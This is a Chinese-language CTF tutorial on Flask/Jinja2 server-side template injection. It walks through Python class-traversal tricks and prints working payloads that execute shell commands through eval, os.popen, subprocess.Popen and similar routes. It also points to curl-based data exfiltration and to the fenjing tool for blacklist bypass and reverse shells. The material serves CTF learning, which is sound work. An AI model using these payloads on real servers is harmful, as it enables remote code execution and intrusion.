SSTI
ssti漏洞成因
ssti服务端模板注入,ssti主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。本文主要对ctf中的flask模板注入进行分析。
常用python魔术方法:
class 返回类型所属的对象
base 返回该对象所继承的基类
mro 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
bases 以元组形式返回类型对象的全部基类//以上三种都是用于寻找基类
subclasses 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
init 类的初始化方法
globals 对包含函数全局变量的字典的引用
builtins builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以可以直接调用引用的模块
基础流程:
解题思路
变量->对象->基类->所有子类->通过 globals 来获取os,file等可以执行命令/读取文件的module
判断注入点(变量)
假设为get参数name?name={{7*7}} -> 49
则表示注入成功
fuzz脚本
1 | import requests |
带出对象
选择以下任一格式,用class带出其对象(类)
1 | {{''.__class__}} -> <class 'str'> |
以下用’’作例子。
引出object(基类)
1 | {{''.__class__.__base__}} |
引出基类下的所有子类
利用subclasses寻找可以利用的子类
1 | {{''.__class__.__base__.subclasses__()}} |
一般情况下会得到许多子类,这时可以通过手工,脚本或工具定位子类的位置
遍历python环境中类的脚本:
1 | #get请求 |
1 | #post请求 |
利用子类执行命令
可以用来执行命令的类有很多,其基本原理就是遍历含有eval函数即os模块的子类,利用这些子类中的eval函数即os模块执行命令。
eval函数执行命令
含有eval函数的类:
warnings.catch_warnings
WarningMessage
codecs.IncrementalEncoder
codecs.IncrementalDecoder
codecs.StreamReaderWriter
os._wrap_close
reprlib.Repr
weakref.finalize
…
payload:
1 | {{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}} |
popen函数执行命令
Python的 os 模块中有system和popen这两个函数可用来执行命令。其中system()函数执行命令是没有回显的。
我们可以使用system()函数配合curl外带数据;popen()函数执行命令有回显。
所以比较常用的函数为popen()函数,而当popen()函数被过滤掉时,可以使用system()函数代替。
我们可以通过os模块的os._wrap_close类引出popen来执行命令
1 | {{''.__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['os'].popen('ls /').read()}} |
也可以直接使用popen来执行命令
1 | {{''.__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('ls /').read()}} |
importlib类执行命令
python有一个importlib类,可用load_module来导入你需要的模块。
而frozen_importlib.BuiltinImporter类就可以提供 Python 中 import 语句的实现(以及 import 函数)。我么可以直接利用该类中的load_module将os模块导入,从而使用 os 模块执行命令。
payload:
1 | {{[].__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls /").read()}} |
linecache 函数执行命令
linecache 这个函数可用于读取任意一个文件的某一行,而这个函数中也引入了 os 模块.
所以我们也可以利用这个 linecache 函数去执行命令。
payload:
1 | {{[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}} |
subprocess.Popen 类执行命令
从python2.4版本开始,可以用 subprocess 这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值。
subprocess 意在替代其他几个老的模块或者函数,比如:os.system、os.popen 等函数。
payload:
1 | {{[].__class__.__base__.__subclasses__()[245]('ls /',shell=True,stdout=-1).communicate()[0].strip()}} |
fenjing一把梭
现在的fenjing能够提供webui,因此非常好上手
1 | # 首先使用apt/dnf/pip/...安装pipx |
需提供网址及注入点(参数),选择好模式后就可以让它自己跑了,跑通了就可以执行系统命令了
利用fenjing库bypass跑payload(反弹shell)
1 | from fenjing import exec_cmd_payload, config_payload |
可以先fuzz然后把黑名单放上来绕过,若fenjing已经提供不了payload那基本也不用想能bypass了(太弔了fenjing)